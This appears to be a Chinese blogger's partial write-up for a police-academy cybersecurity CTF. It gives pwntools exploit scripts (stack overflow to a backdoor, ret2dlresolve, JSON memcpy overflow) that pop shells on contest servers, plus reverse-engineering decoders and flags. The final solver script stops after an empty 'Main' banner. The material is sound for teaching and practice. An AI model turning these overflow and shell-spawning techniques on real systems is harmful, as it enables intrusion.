sdpcsec-ctf - 超级玉米人的博客

第四届黄河流域公安院校网络空间安全技能挑战赛部分wp 由于水平有限，所以只实现了这么多

pwn-level1-testnc_revege#

分析发现这是一个随机数答题的程序，其中的题目有三个阶段，而且在答题的时候，实际显示的运算符和程序内部的计算运算符不同，但是通过分析程序发现，这三个偏移量是在同一个时间生成并存储在buf 中所以只要确定了第一个阶段的偏移量，那么就可以确定第二阶段和第三阶段的偏移量，那么我们可以直接通过枚举的方式获得三个阶段的答题，从而获得shell。

1
from pwn import *
2
from typing import Callable
3
from dataclasses import dataclass
4
import time
5

6
# context.log_level = "debug"
7

8
"""
9
枚举所有的 可能偏移，最坏的情况下有 6^3 种情况
10
"""
11

12
@dataclass
13
class StageProc:
14
  proc: process
15
  procoffset: int
16

17
sym_list = ['+', '-', 'x', '%', '^', '&', '+', '-', 'x', '%', '^', '&']
18

19
def calculate(a: int, op: str, b: int) -> int:
20
  if op == '+':
21
    return a + b
22
  elif op == '-':
23
    return a - b
24
  elif op == 'x':
25
    return a * b
26
  elif op == '%':
27
    return a % b if b != 0 else 0
28
  elif op == '^':
29
    return a ^ b
30
  elif op == '&':
31
    return a & b
32
  else:
33
    return 0
34

35
def calcPart(p: process, offset: int) -> int:
36
  global sym_list
37

38
  res = -1
39
  # log.info(f"Get calcPart")
40
  # time.sleep(.5)
41
  parts = p.recv().decode().split()
42
  while not "=" in parts:             # 防止因为io玄学问题导致接受不全
43
    parts += p.recv().decode().split()
44

45
  try:
46
    num1 = int(parts[-4])
47
    disOp = parts[-3]
48
    op = sym_list[sym_list.index(disOp) + offset]
49
    num2 = int(parts[-2])
50
    res = calculate(num1, op, num2)
51
    # log.info(f"Calc: {num1} {op} {num2} = {res}")
52
  except:
53
    log.error(f"calcPartsError: {parts}")
54
    log.error(f"Break!")
55
  return res
56

57
# 寻找获取
58
# stage ==> 1, 2, 3
59
def findOffset(pFunc: Callable[[], process], stage: int) -> StageProc:
60
  # p = pFunc()
61
  offset = 0
62

63
  while True:
64
    p = pFunc()
65
    res = calcPart(p, offset)
66
    p.sendline(str(res).encode())
67
    back = p.recvline()
68

69
    if b"lose" in back:
70
      log.warn(f"findOffsetFail : {stage}")
71
      p.close()
72
      offset += 1
73
      offset = 0 if offset > 6 else offset
74
    else:
75
      log.success(f"findOffset {stage} : offset => {offset}")
76
      return StageProc(
77
        proc = p,
78
        procoffset = offset
79
      )
80
      # break
81

82
# 计算 该阶段接下来的题目
83
def CalcPartsWithOffset(ps: StageProc, stage: int) -> process:
84
  for _ in range(39):
85
    res = calcPart(ps.proc, ps.procoffset)
86
    ps.proc.sendline(str(res))
87
    back = ps.proc.recvline()
88

89
    if b"lose" in back:
90
      log.error(f"Stage{stage} CalcFail Step:{_}")
91
      raise ValueError("Stage Calc Fail Error!")
92
    # 尝试捕获最后几个算式
93
    if _ >= 37 and stage == 3:
94
      log.info(f"Proc: {_}: {back} ")
95

96
  return ps.proc
97

98
def pCreate() -> process:
99
  return process("./pwn")
100
  # return remote("175.27.251.122", 33490)
101
# 计算 阶段一
102
def Stage1() -> process:
103
  try:
104
    temp = findOffset(pCreate, 1)
105
    return CalcPartsWithOffset(temp, 1)
106
  except:
107
    log.error("Restart: Stage1")
108
    return Stage1()
109

110
def Stage2() -> process:
111
  try:
112
    temp = findOffset(Stage1, 2)
113
    return CalcPartsWithOffset(temp, 2)
114
  except:
115
    log.error("Restart: Stage2")
116
    return Stage2()
117

118
def Stage3() -> process:
119
  try:
120
    temp = findOffset(Stage2, 3)
121
    return CalcPartsWithOffset(temp, 3)
122
  except:
123
    log.error("Restart: Stage3")
124
    return Stage3()
125

126
def tryStageRetry() -> process:
127
  for attempt in range(10):
128
    try:
129
      res = Stage3()
130
      log.success(f"Stage3 第{attempt+1}次尝试成功")
131
      return res
132
    except PwnlibException as e:
133
      log.warning(f"Stage1 第{attempt+1}次尝试失败: {e}")
134
      time.sleep(1)
135

136
p = tryStageRetry()
137
print(p.recvall())      #显示答案

pwn-level2-ret2text#

分析发现是一个简单的ret2text，程序存在后门函数，无canary， PIE，所以直接栈溢出就可以拿到shell

1
from pwn import *
2

3
file = "./pwn"
4
host = "123.56.126.77"
5
port = 1007
6

7
is_remote = True
8

9
context.log_level = "debug"
10
context.binary = file
11

12
if is_remote:
13
    p = remote(host, port)
14
else:
15
    p = process(file)
16

17
elf = ELF(file)
18
rop = ROP(elf)
19

20
ret = 0x40101a
21
rdi = 0x401178
22
backdoor = elf.sym["backdoor"]
23

24
payload = flat(
25
    {
26
        64: [
27
            p64(0),
28
            p64(ret),
29
            p64(backdoor)
30
        ]
31

32
    },
33
    filler = b"\x00"
34
)
35

36
p.sendline(payload)
37
p.interactive()

pwn-level3-pwn-bypass#

仍然是 ret2text 的变式, 其中在函数main中绕过 admin 登录之后在函数vuln中

memcpy 构成了栈溢出

1
from pwn import *
2

3
file = "./pwn"
4
host = "123.56.126.77"
5
port = 1002
6

7
is_remote = True
8

9
context.log_level = "debug"
10
context.binary = file
11

12
if is_remote:
13
    p = remote(host, port)
14
else:
15
    p = process(file)
16

17
elf = ELF(file)
18
rop = ROP(elf)
19

20
p.sendafter("input your name:", b"admin")
21
p.sendafter("input your pasword:", b"123456")
22

23
p.recvuntil(b"chunk_addr: ")
24
chunk_addr = int(p.recvuntil(b"\n")[:-1], 16)
25
ret = 0x401016
26
backdoor = elf.sym["backdoor"]
27

28
log.success(f"chunk_addr = {hex(chunk_addr)}")
29
payload = flat(
30
    {
31
        # 0x0: p64(chunk_addr),
32
        0x48: [
33
            p64(chunk_addr),
34
            p64(ret),
35
            p64(ret),
36
            p64(backdoor)
37
        ]
38
    },
39
    # filler = b"\x00"
40
)
41
# raw_input(f"pwndbg -p {p.pid}")
42

43
p.sendline(payload)
44
p.interactive()

pwn-level4-pwn-aespwn#

分析发现，这是一个 aes 加密相关的程序只要输入密文就可以直接拿到shell

1
#!/usr/bin/env python3
2
from Crypto.Cipher import AES
3
import struct
4

5
def main():
6
    # 从代码中提取的明文 v6
7
    # v6[0] = 0x7766554433221100
8
    # v6[1] = 0xFFEEDDCCBBAA9988
9
    # 小端序解析
10
    v6_0 = 0x7766554433221100
11
    v6_1 = 0xFFEEDDCCBBAA9988
12

13
    plaintext = bytearray()
14
    # v6[0] 小端：00 11 22 33 44 55 66 77
15
    plaintext.extend(struct.pack('<Q', v6_0))
16
    # v6[1] 小端：88 99 AA BB CC DD EE FF
17
    plaintext.extend(struct.pack('<Q', v6_1))
18

19
    print(f"Plaintext: {plaintext.hex()}")
20
    # 输出: 00112233445566778899aabbccddeeff
21

22
    # 从代码中提取的密钥 v5
23
    # v5[0] = 0x706050403020100  -> 实际上是 0x0706050403020100
24
    # v5[1] = 0xF0E0D0C0B0A0908  -> 0x0F0E0D0C0B0A0908
25
    v5_0 = 0x0706050403020100
26
    v5_1 = 0x0F0E0D0C0B0A0908
27

28
    key = bytearray()
29
    key.extend(struct.pack('<Q', v5_0))
30
    key.extend(struct.pack('<Q', v5_1))
31

32
    print(f"Key: {key.hex()}")
33
    # 输出: 000102030405060708090a0b0c0d0e0f
34

35
    # AES-128 ECB 加密
36
    cipher = AES.new(bytes(key), AES.MODE_ECB)
37
    ciphertext = cipher.encrypt(bytes(plaintext))
38

39
    print(f"Ciphertext: {ciphertext.hex()}")
40

41
    # 输出提示
42
    print("\n" + "="*50)
43
    print(f"Exploit: 输入以下 32 个十六进制字符即可获得 shell:")
44
    print(ciphertext.hex())
45
    print("="*50)
46

47
if __name__ == "__main__":
48
    main()

得到 69c4e0d86a7b0430d8cdb78070b4c55a nc 连接之后就可以直接拿到flag

pwn-level5#

主要考察代码审计

显然可以看出，再登录管理员账号后可以直接运行任意shell指令，而管理员密码在，输错密码后会直接给你

1
2
2
admin
3
RAIpqKKiEPDiTXFT
4
/bin/sh

pwn-level6#

发现是主要考察ret2dlresolve

由图可知 1780749484111

程序存在一个大范围的栈溢出，所以可以直接使用 pwntool 自动构建出一个 delresolve 的结构体来连接system 执行命令

1
from pwn import *
2

3
file = "./pwn"
4
host = "123.56.126.77"
5
port = 1006
6

7
is_remote = True
8

9
context.log_level = "debug"
10
context.binary = file
11

12
if is_remote:
13
    p = remote(host, port)
14
else:
15
    p = process(file)
16

17
elf = ELF(file)
18
rop = ROP(elf)
19
libc = ELF("./libc.so.6")
20

21
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh\x00'])
22

23
log.info(f"data_addr: {hex(dlresolve.data_addr)}")
24
log.info(f"Payload length: {len(dlresolve.payload)}")
25

26
rop.read(0, dlresolve.data_addr, len(dlresolve.payload))
27
rop.ret2dlresolve(dlresolve)
28
ret = 0x40101a
29

30
payload = flat(
31
    {
32
        72: [
33
            # p64(ret),
34
            rop.chain(),
35
        ]
36
    },
37
    filler = b"\x00"
38
)
39

40
p.recvuntil(b'payload:\n')
41
p.send(payload)
42

43
# sleep(0.5)
44
p.send(dlresolve.payload)
45

46
p.interactive()

pwner_jsonstack#

程序逻辑#

1
main()
2
  ├─ read(0, header, 4)          // 读取长度
3
  ├─ read(0, raw, len)           // 读取 JSON
4
  ├─ cJSON_Parse(raw)            // 解析 JSON
5
  ├─ 检查 cmd == "stack"
6
  └─ handle_stack(req)
7
       ├─ 获取 "data" (string) 和 "copy_len" (number)
8
       ├─ 检查: n >= 0 && strlen(data) >= n
9
       └─ vuln_copy(data, n)
10
            └─ memcpy(buf[32], data, n)   ← 栈溢出

漏洞点#

vuln_copy() 中 buf 只有 32 字节，但 copy_len 可控：

1
void vuln_copy(const char *data, int copy_len) {
2
    char buf[32];                  // rbp-0x20
3
    memset(buf, 0, 32);
4
    memcpy(buf, data, copy_len);   // 可溢出
5
}

栈布局（从 buf 开始）：

偏移	大小	内容
0x00	32B	buf
0x20	8B	saved rbp
0x28	8B	return address

绕过检查#

handle_stack 的检查：

1
slen = strlen(data->valuestring);
2
n = copy_len->valueint;
3
if (n < 0 || slen < n)    // 需要 n >= 0 且 slen >= n
4
    return error;

发送 42 字节不含 \x00 的 payload，strlen 返回 42
设 copy_len = 42，检查通过 (42 >= 42)
memcpy 复制 42 字节，溢出到返回地址

cJSON 的 parse_string 对非转义字节无过滤（只特殊处理 " 和 \），所以 \x12、\xfe 等二进制字节可直接放在 JSON 字符串中。

后门函数#

win 位于 0x4012f6：

1
void win() {
2
    write(1, "you win\n", 8);
3
    system("/bin/sh");
4
}

栈对齐问题#

直接跳到 0x4012f6（win 入口）会执行 push rbp，导致调用 system 时 RSP 不是 16 字节对齐，触发 glibc SSE movaps 崩溃（SIGSEGV）。

解决： 跳到 0x4012fe（跳过 push rbp; mov rbp, rsp），保持栈对齐：

1
0x4012fa: push rbp          ← 跳过
2
0x4012fb: mov rbp, rsp      ← 跳过
3
0x4012fe: xor eax, eax      ← 跳到这里
4
0x40130e: call write         ← 栈对齐 ✓
5
0x40131e: call system        ← 栈对齐 ✓

利用步骤#

构造 42 字节 payload：'A'*40 + '\xfe\x12'
包裹为 JSON：{"cmd":"stack","data":"<payload>","copy_len":42}
发送 4 字节 LE 长度头 + JSON 体
返回地址低 2 字节从 0x145e 改为 0x12fe，高字节不变
vuln_copy 返回到 0x4012fe → system("/bin/sh") → get shell

Exploit#

1
import struct
2
import sys
3
from pwn import *
4

5

6
def exploit(host: str, port: int):
7
    padding = b'A' * 40        # fill buf (32) + saved rbp (8)
8
    win_low = b'\xfe\x12'      # low 2 bytes of 0x4012fe in LE
9

10
    data_payload = padding + win_low  # 42 bytes total, no null bytes
11

12
    assert len(data_payload) == 42
13
    assert b'\x00' not in data_payload  # no null bytes to break strlen
14

15
    json_body = b'{"cmd":"stack","data":"' + data_payload + b'","copy_len":42}'
16

17
    header = struct.pack('<I', len(json_body))
18

19
    r = remote(host, port)
20

21
    r.send(header)
22
    r.send(json_body)
23

24
    r.interactive()
25

26

27
if __name__ == '__main__':
28
    exploit("123.56.126.77", 1004)

re-Roses#

1. 静态分析#

IDA 中加载 binary，通过 survey_binary 概览发现关键信息：

字符串 "Roses" 位于 0x14000a041
字符串 "Encrypted Result:\n%s\n" 位于 0x14000a09d
字符串 "C:\\Users\\Lenovo\\Desktop\\1.txt" 位于 0x14000a047
64 字符自定义 Base64 表位于 0x14000a000：VxKw7QTsMd5Bri83NZe9Ut6pChXzD4IAYqmLuakbHofRWycvjGPnS2JE/+l01OFg

2. 核心函数#

`sub_1400017A0` — 主逻辑#

1
1. fopen("C:\\Users\\Lenovo\\Desktop\\1.txt", "rb")
2
2. fseek(END) → ftell() → 获取文件大小
3
3. fread() 读入内存
4
4. sub_1400014E7() — XOR 加密
5
5. sub_140001578() — Base64 编码
6
6. printf("Encrypted Result:\n%s\n", result)

`sub_1400014E7` — XOR 加密#

使用 5 字节密钥 "Roses" 循环异或：

1
for (i = 0; i < size; i++) {
2
    output[i] = input[i] ^ "Roses"[i % 5];
3
}

模运算通过魔数 0xCCCCCCCCCCCCCCCD 实现除法优化
密钥: R o s e s = 0x52 0x6f 0x73 0x65 0x73

`sub_140001578` — 自定义 Base64#

使用自定义编码表（非标准 ABCDEFGH...）：

1
自定义: VxKw7QTsMd5Bri83NZe9Ut6pChXzD4IAYqmLuakbHofRWycvjGPnS2JE/+l01OFg
2
标准:   ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

分配公式 malloc(4 * ((size + 2) / 3) + 1) 为标准 Base64 输出大小。

3. 加密流程#

1
Plaintext → XOR("Roses") → CustomBase64 → "Encrypted Result:\n%s\n"

解密#

给定 encode.txt 中的加密结果，逆向解密步骤：

自定义 Base64 解码 — 将自定义表映射回标准 Base64 表，然后 decode
XOR 解密 — 用密钥 "Roses" 循环异或

1
import base64
2

3
CUSTOM = "VxKw7QTsMd5Bri83NZe9Ut6pChXzD4IAYqmLuakbHofRWycvjGPnS2JE/+l01OFg"
4
STANDARD = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
5
KEY = b"Roses"
6

7
enc = "QY/sxQrVKqD77KCTsVy97GHpwV4PMGjK..." # from encode.txt
8

9
# 1. 自定义Base64 → 标准Base64 → decode
10
trans = str.maketrans(CUSTOM, STANDARD)
11
cipher = base64.b64decode(enc.translate(trans))
12

13
# 2. XOR decrypt
14
plain = bytes([cipher[i] ^ KEY[i % 5] for i in range(len(cipher))])
15
print(plain.decode())

Flag#

1
SDPCSEC{M155_1da_thank_y0u_f0r_solv1ng_her_troub7e}

re-Salome#

工具#

pyinstxtractor - 解包 PyInstaller
pycdc / Python dis + marshal - 反编译/反汇编 .pyc
IDA Pro (可选) - 查看 .pyd 文件

1. 解包#

1
python pyinstxtractor.py main.exe

得到 main.pyc, kernelVM.pyc 以及 PYZ.pyz_extracted/ 下的 vm_runtime.pyc, hidden_container.pyc 等。

2. 主程序结构#

main.py 反编译后可知核心逻辑：

1
from kernelVM import CustomVM
2

3
def main():
4
    program = load_program('opcode.bin')      # 第一阶段字节码
5
    vm = CustomVM()
6
    vm.run(program)                            # 两阶段验证

kernelVM.py 中 CustomVM 的 run() 方法揭示了完整流程：

1
def run(self, bytecode):
2
    # 打印假的安全警告（干扰 LLM）
3
    print(self._security_alert())
4

5
    user_text = input('Input: ').rstrip('\r\n')
6
    user_bytes = user_text.encode('utf-8')
7

8
    # 第一阶段：运行 opcode.bin（结果丢弃，仅干扰）
9
    self._core.run(bytecode=bytecode, user_bytes=user_bytes, emit_output=False)
10

11
    # 第二阶段：从 winsound.pyd 提取隐藏字节码运行（真正验证）
12
    stage2_code = self._load_hidden_code()
13
    stage2_result = self._core.run(bytecode=stage2_code, user_bytes=user_bytes)
14

15
    if stage2_result == 'Trace deeper.':
16
        print('Accepted.')
17
    else:
18
        print('Rejected.')

3. 自定义 VM 分析#

vm_runtime.pyc 中 MirageVM 实现了完整的栈式 VM：

状态:

stack: 8-bit 值栈
slots[16]: 16 个内存槽
pc: 程序计数器
last_message: 输出消息

指令集 (16 条):

Opcode	指令	说明
1	PUSH_IMM	压入立即数
2	PUSH_INPUT	压入 user_input[idx]
3	XOR_IMM	pop ^= imm
4	ADD_IMM	pop += imm (mod 256)
5	ROL_IMM	pop = rol8(pop, imm)
6	STORE	slot[imm&0xF] = pop
7	LOAD	push(slot[imm&0xF])
8	XOR_SLOT	pop ^= slot[imm&0xF]
9	ADD_SLOT	pop += slot[imm&0xF]
10	CMP_EQ	push(pop == imm ? 1 : 0)
11	JZ	if !pop: pc += s16(imm)
12	JMP	pc += s16(imm)
13	PRINT_MSG	last_message = MESSAGES[imm]
14	HALT	return last_message
15	DUP	push(stack[-1])
16	POP	pop()

消息表:

0: 'Rejected.', 1: 'Accepted.', 2: 'Keep looking.'
3: 'Miss.', 4: 'Trace deeper.'

4. 隐藏载荷提取#

_hidden_name() 通过 chr 解码出隐藏文件名为 winsound.pyd。

hidden_container.pyc 实现了 M13P 容器格式的解包：

1
容器格式:
2
  MAGIC  "M13P"         (4 bytes)
3
  KEY                   (1 byte)
4
  SEED                  (1 byte)
5
  LENGTH                (2 bytes, LE)
6
  CHECKSUM              (1 byte)
7
  BODY                  (LENGTH bytes)
8

9
解码: plain[i] = body[i] ^ stream[i] ^ MASK[i % 7]
10
  其中 stream[i] = (key + seed + i * 11) & 0xFF
11
      MASK = b'curtain'

5. 第二阶段字节码#

opcode.bin（第一阶段）使用 3 个 slot，线性处理 24 字节输入，结果仅打印 Accepted. / Rejected.，但程序丢弃该结果——仅为干扰。

winsound.pyd 中的第二阶段才是真正的验证，使用 4 个 slot，输入索引被打乱。

单字符变换（正向）：

1
t1 = input[i] ^ slot[0]
2
t2 = rol8(t1, rol0)
3
t3 = (t2 + slot[1]) & 0xFF
4
t4 = t3 ^ slot[2]
5
t5 = rol8(t4, 3)
6
t6 = (t5 + add1) & 0xFF
7
t7 = t6 ^ slot[3]
8
result = (t7 + add2) & 0xFF

状态更新（依赖已更新的 slot）：

1
slot[3] = rol8((slot[3] + result + up_add3) & 0xFF, 1)
2
slot[2] = slot[2] ^ result ^ up_xor2
3
slot[1] = rol8((slot[1] + slot[2] + up_add1) & 0xFF, 1)
4
slot[0] = (slot[0] + result + up_add0) ^ slot[3]

初始状态: slot = [0x53, 0xA9, 0x1F, 0xC7]

最终检查: slot == [0xA5, 0x35, 0x63, 0xAB]

6. 求解#

已知每步的 expected 值和当前 slot 状态，逆向计算输入字节：

1
t7 = (expected - add2) & 0xFF        # 逆 ADD_IMM add2
2
t6 = t7 ^ slot[3]                     # 逆 XOR_SLOT[3]
3
t5 = (t6 - add1) & 0xFF              # 逆 ADD_IMM add1
4
t4 = ror8(t5, 3)                     # 逆 ROL_IMM 3
5
t3 = t4 ^ slot[2]                     # 逆 XOR_SLOT[2]
6
t2 = (t3 - slot[1]) & 0xFF           # 逆 ADD_SLOT[1]
7
t1 = ror8(t2, rol0)                  # 逆 ROL_IMM rol0
8
input[i] = t1 ^ slot[0]              # 逆 XOR_SLOT[0]

然后用已知的 expected 值正向更新 slot 状态，继续下一字符。

所以完整脚本如下

1
from pathlib import Path
2

3
BASE = Path(__file__).parent
4

5
def rol8(value: int, bits: int) -> int:
6
    value &= 0xFF; bits &= 7
7
    if bits == 0: return value
8
    return ((value << bits) | (value >> (8 - bits))) & 0xFF
9

10
def ror8(value: int, bits: int) -> int:
11
    return rol8(value, (-bits) % 8)
12

13
def s16(value: int) -> int:
14
    if value & 0x8000: return value - 0x10000
15
    return value
16

17

18
def extract_stage1_blocks(bc: bytes):
19
    """
20
    Stage 1 bytecode layout per character:
21
      PUSH_INPUT [i]      (2B: 02 xx)
22
      XOR_SLOT [0]        (2B: 08 00)
23
      ROL_IMM  <rol>      (2B: 05 xx)
24
      ADD_SLOT [1]        (2B: 09 01)
25
      XOR_IMM  <val>      (2B: 03 xx)
26
      ADD_SLOT [2]        (2B: 09 02)
27
      DUP                 (1B: 0F)
28
      STORE [3]           (2B: 06 03)
29
      CMP_EQ <exp>        (2B: 0A xx)
30
      JZ <rel>           (3B: 0B xx xx)
31
      LOAD [2]            (2B: 07 02)
32
      XOR_SLOT [3]       (2B: 08 03)
33
      XOR_IMM <uxor>     (2B: 03 xx)
34
      ROL_IMM <urol>     (2B: 05 xx)
35
      STORE [2]           (2B: 06 02)
36
      LOAD [1]            (2B: 07 01)
37
      ADD_SLOT [3]       (2B: 09 03)
38
      ADD_IMM <uadd>     (2B: 04 xx)
39
      STORE [1]           (2B: 06 01)
40
      LOAD [0]            (2B: 07 00)
41
      ADD_IMM <uadd2>    (2B: 04 xx)
42
      ROL_IMM 1          (2B: 05 01)
43
      XOR_SLOT [3]       (2B: 08 03)
44
      STORE [0]           (2B: 06 00)
45
    Total: 20 (check) + 28 (update) = 48 bytes per block
46
    """
47
    blocks = []
48
    # Find first PUSH_INPUT
49
    pc = 0
50
    while pc < len(bc) and bc[pc] != 2:
51
        pc += 1
52

53
    while pc < len(bc) and bc[pc] == 2:
54
        start = pc
55
        # Parse check part with explicit offsets
56
        block = {
57
            'input_idx': bc[start + 1],
58
            'rol_bits':  bc[start + 5],
59
            'xor_val':   bc[start + 9],
60
            'expected':  bc[start + 16],
61
            # Update part
62
            'update_xor':  bc[start + 25],
63
            'update_rol':  bc[start + 27],
64
            'update_add':  bc[start + 33],
65
            'update_add2': bc[start + 37],
66
        }
67
        blocks.append(block)
68
        pc = start + 48  # 20 + 28
69

70
    return blocks
71

72

73
def extract_stage2_blocks(bc: bytes):
74
    """
75
    Stage 2 bytecode layout per character (64 bytes each):
76
      +0:  PUSH_INPUT [i]      (2B: 02 xx)
77
      +2:  XOR_SLOT [0]        (2B: 08 00)
78
      +4:  ROL_IMM  <rol0>     (2B: 05 xx)
79
      +6:  ADD_SLOT [1]        (2B: 09 01)
80
      +8:  XOR_SLOT [2]        (2B: 08 02)
81
      +10: ROL_IMM 3           (2B: 05 03)
82
      +12: ADD_IMM  <add1>     (2B: 04 xx)
83
      +14: XOR_SLOT [3]        (2B: 08 03)
84
      +16: ADD_IMM  <add2>     (2B: 04 xx)
85
      +18: DUP                 (1B: 0F)
86
      +19: STORE [4]           (2B: 06 04)
87
      +21: CMP_EQ <exp>        (2B: 0A xx)
88
      +23: JZ <rel>           (3B: 0B xx xx)
89
      +26: LOAD [3]            (2B: 07 03)
90
      +28: ADD_SLOT [4]       (2B: 09 04)
91
      +30: ADD_IMM <ua3>      (2B: 04 xx)
92
      +32: ROL_IMM 1          (2B: 05 01)
93
      +34: STORE [3]           (2B: 06 03)
94
      +36: LOAD [2]            (2B: 07 02)
95
      +38: XOR_SLOT [4]       (2B: 08 04)
96
      +40: XOR_IMM <ux2>      (2B: 03 xx)
97
      +42: STORE [2]           (2B: 06 02)
98
      +44: LOAD [1]            (2B: 07 01)
99
      +46: ADD_SLOT [2]       (2B: 09 02)
100
      +48: ADD_IMM <ua1>      (2B: 04 xx)
101
      +50: ROL_IMM 1          (2B: 05 01)
102
      +52: STORE [1]           (2B: 06 01)
103
      +54: LOAD [0]            (2B: 07 00)
104
      +56: ADD_SLOT [4]       (2B: 09 04)
105
      +58: ADD_IMM <ua0>      (2B: 04 xx)
106
      +60: XOR_SLOT [3]       (2B: 08 03)
107
      +62: STORE [0]           (2B: 06 00)
108
    Total: 64 bytes per block
109
    """
110
    blocks = []
111
    # Find first PUSH_INPUT - skip init + JZ + dead code
112
    # Init: 4 PUSH_IMM/STORE pairs = 16 bytes
113
    # Then PUSH_IMM 0 + JZ + dead code (HALT at offset 29)
114
    # First PUSH_INPUT is at byte offset 30 = 0x1E
115
    pc = 30  # 0x1E
116

117
    while pc < len(bc) and bc[pc] == 2:
118
        start = pc
119
        block = {
120
            'input_idx': bc[start + 1],
121
            'rol0':      bc[start + 5],
122
            'add1':      bc[start + 13],
123
            'add2':      bc[start + 17],
124
            'expected':  bc[start + 22],
125
            'up_add3':   bc[start + 31],
126
            'up_xor2':   bc[start + 41],
127
            'up_add1':   bc[start + 49],
128
            'up_add0':   bc[start + 59],
129
        }
130
        blocks.append(block)
131
        pc = start + 64
132

133
    return blocks
134

135

136
# ============================================================
137
# Solve stage 2 (the one that determines success)
138
# ============================================================
139

140
def solve_stage2(bc: bytes):
141
    """Returns (input_bytes, final_slots)."""
142
    blocks = extract_stage2_blocks(bc)
143
    # Initial slot values (from disassembly)
144
    slots = [0x53, 0xA9, 0x1F, 0xC7] + [0]*12
145
    input_map = {}
146

147
    print(f"Stage 2: {len(blocks)} blocks")
148
    for i, b in enumerate(blocks):
149
        print(f"  [{i:2d}] input_idx={b['input_idx']:2d} expected=0x{b['expected']:02X} "
150
              f"rol0={b['rol0']} add1=0x{b['add1']:02X} add2=0x{b['add2']:02X} "
151
              f"ua3=0x{b['up_add3']:02X} ux2=0x{b['up_xor2']:02X} "
152
              f"ua1=0x{b['up_add1']:02X} ua0=0x{b['up_add0']:02X}")
153

154
    for b in blocks:
155
        s0, s1, s2, s3 = slots[0], slots[1], slots[2], slots[3]
156

157
        # Reverse the computation:
158
        # Forward: result = ((rol8(t4,3) + add1) ^ s3 + add2) & 0xFF
159
        #   where t4 = (t3 ^ s2)
160
        #   where t3 = (rol8(input ^ s0, rol0) + s1) & 0xFF
161
        #
162
        # Backward:
163
        t_after_add2 = (b['expected'] - b['add2']) & 0xFF       # before ADD_IMM add2
164
        t_after_xor3 = t_after_add2 ^ s3                         # before XOR_SLOT[3]
165
        t_after_add1 = (t_after_xor3 - b['add1']) & 0xFF        # before ADD_IMM add1
166
        t_after_rol3 = ror8(t_after_add1, 3)                   # before ROL_IMM 3
167
        t_after_xor2 = t_after_rol3 ^ s2                        # before XOR_SLOT[2]
168
        t_after_adds1 = (t_after_xor2 - s1) & 0xFF             # before ADD_SLOT[1]
169
        t_after_rol0 = ror8(t_after_adds1, b['rol0'])           # before ROL_IMM rol0
170
        input_byte = t_after_rol0 ^ s0                           # before XOR_SLOT[0]
171

172
        input_map[b['input_idx']] = input_byte
173

174
        # Forward update using known result:
175
        result = b['expected']
176
        # slot[3] = rol8((s3 + result + up_add3) & 0xFF, 1)
177
        new_s3 = rol8((s3 + result + b['up_add3']) & 0xFF, 1)
178
        # slot[2] = s2 ^ result ^ up_xor2
179
        new_s2 = s2 ^ result ^ b['up_xor2']
180
        # slot[1] = rol8((s1 + new_s2 + up_add1) & 0xFF, 1)  ← uses updated slot[2]!
181
        new_s1 = rol8((s1 + new_s2 + b['up_add1']) & 0xFF, 1)
182
        # slot[0] = (s0 + result + up_add0) ^ new_s3  ← uses updated slot[3]!
183
        new_s0 = ((s0 + result + b['up_add0']) & 0xFF) ^ new_s3
184

185
        slots[0], slots[1], slots[2], slots[3] = new_s0, new_s1, new_s2, new_s3
186

187
    # Build full input (in index order)
188
    max_idx = max(input_map) if input_map else -1
189
    input_bytes = bytes(input_map.get(i, 0) for i in range(max_idx + 1))
190

191
    print(f"\nFinal slots: [0]={slots[0]:02X} [1]={slots[1]:02X} [2]={slots[2]:02X} [3]={slots[3]:02X}")
192
    print(f"Expected:     [0]=A5 [1]=35 [2]=63 [3]=AB")
193
    return input_bytes, slots
194

195

196
# ============================================================
197
# VM for verification
198
# ============================================================
199

200
class MirageVM:
201
    def __init__(self):
202
        self.reset()
203

204
    def reset(self):
205
        self.stack = []; self.slots = [0]*16; self.pc = 0; self.last_message = ''
206

207
    def pop(self) -> int:
208
        return self.stack.pop() & 0xFF
209

210
    def push(self, value: int):
211
        self.stack.append(value & 0xFF)
212

213
    def run(self, bytecode: bytes, user_input: bytes, trace: bool = False) -> str:
214
        self.reset()
215
        data = bytes(user_input)
216
        while self.pc < len(bytecode):
217
            op = bytecode[self.pc]; self.pc += 1
218
            match op:
219
                case 1:  # PUSH_IMM
220
                    v = bytecode[self.pc]; self.pc += 1; self.push(v)
221
                case 2:  # PUSH_INPUT
222
                    i = bytecode[self.pc]; self.pc += 1
223
                    self.push(data[i] if i < len(data) else 0)
224
                case 3:  # XOR_IMM
225
                    v = bytecode[self.pc]; self.pc += 1; self.push(self.pop() ^ v)
226
                case 4:  # ADD_IMM
227
                    v = bytecode[self.pc]; self.pc += 1; self.push((self.pop() + v) & 0xFF)
228
                case 5:  # ROL_IMM
229
                    b = bytecode[self.pc]; self.pc += 1; self.push(rol8(self.pop(), b))
230
                case 6:  # STORE
231
                    s = bytecode[self.pc] & 0xF; self.pc += 1; self.slots[s] = self.pop()
232
                case 7:  # LOAD
233
                    s = bytecode[self.pc] & 0xF; self.pc += 1; self.push(self.slots[s])
234
                case 8:  # XOR_SLOT
235
                    s = bytecode[self.pc] & 0xF; self.pc += 1; self.push(self.pop() ^ self.slots[s])
236
                case 9:  # ADD_SLOT
237
                    s = bytecode[self.pc] & 0xF; self.pc += 1; self.push((self.pop() + self.slots[s]) & 0xFF)
238
                case 10:  # CMP_EQ
239
                    v = bytecode[self.pc]; self.pc += 1; self.push(1 if self.pop() == v else 0)
240
                case 11:  # JZ
241
                    r = s16(int.from_bytes(bytecode[self.pc:self.pc+2], 'little'))
242
                    self.pc += 2
243
                    if self.pop() == 0: self.pc += r
244
                case 12:  # JMP
245
                    r = s16(int.from_bytes(bytecode[self.pc:self.pc+2], 'little'))
246
                    self.pc += 2; self.pc += r
247
                case 13:  # PRINT_MSG
248
                    m = {0:'Rejected.',1:'Accepted.',2:'Keep looking.',3:'Miss.',4:'Trace deeper.'}
249
                    self.last_message = m.get(bytecode[self.pc], f'UNK'); self.pc += 1
250
                case 14:  # HALT
251
                    return self.last_message
252
                case 15:  # DUP
253
                    self.push(self.stack[-1] if self.stack else 0)
254
                case 16:  # POP
255
                    self.pop()
256
                case _:
257
                    raise RuntimeError(f'unknown opcode 0x{op:02X} at 0x{self.pc-1:04X}')
258
        return self.last_message
259

260

261
# ============================================================
262
# Main
263
# ============================================================
264

265
